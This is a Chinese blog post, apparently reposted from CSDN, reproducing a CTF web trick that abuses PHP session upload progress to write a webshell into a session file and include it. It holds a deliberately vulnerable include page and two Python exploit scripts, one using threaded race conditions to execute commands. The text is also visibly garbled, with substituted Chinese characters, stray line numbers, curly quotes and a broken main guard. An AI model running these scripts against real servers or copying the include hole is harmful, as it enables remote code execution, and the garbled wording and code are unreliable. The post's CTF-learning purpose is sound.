共计 1777 个字符,预计需要花费 5 分钟才能阅读完成。
这次 ciscn 有一道 web 题考的就是这个知识点,但过后没有尝试去扫门路,被结尾给的源码卡死了有点儿遗憾,不过还是想本人复现一下这个小 trick。
先来看看 p
咱们能够 post session.upload_progress 参数,写入木马。
这个选项能够让咱们本人定义文件名。
例如,管制 phsession=flag,则文件名就变为 /tmp/sess_flag
这里还有一个配置选项是默认开启的
session.upload_progress.cleanup, 这个选项会让 post 过程完结时删掉所有 session 文件。
咱们先在 php.ini 外面关掉这个配置,联合下面的内容写木马试试。
session.php
<?php
$file = $_GET['file'];
include($file);
?>
1
2
3
4
exp1.py
import io
import requests
import threading
sessid = ‘aaaaaaa’
def write_session(session):
url = '127.0.0.1/session.php'
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://127.0.0.1/session.php?file=1.txt', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )
if name == ‘__main__’:
with requests.session() as session:
write_session(session)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
筹备好了,运行 exp1.py
来看看 session 文件目录多了什么。
多了个 sess_aaaaaaa
看一下外面的内容。
能够看到,再结尾这边木马曾经被写入。咱们在浏览器试试这个木马。
胜利执行。
能够看到这个 session 是能够蕴含的,但 session.upload_progress.cleanup 这个配置是默认开启的,所以这里咱们就须要利用条件竞争了。
import io
import requests
import threading
sessid = ‘bbbbbbb’
data = {“cmd”:”system(‘ls’);”}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
if '1.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__==”__main__”:
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
————————————————
版权申明:本文为 CSDN 博主「fmyyy1」的原创文章,遵循 CC 4.0 BY-SA 版权协定
技术支持:微信刷步数 IP 查问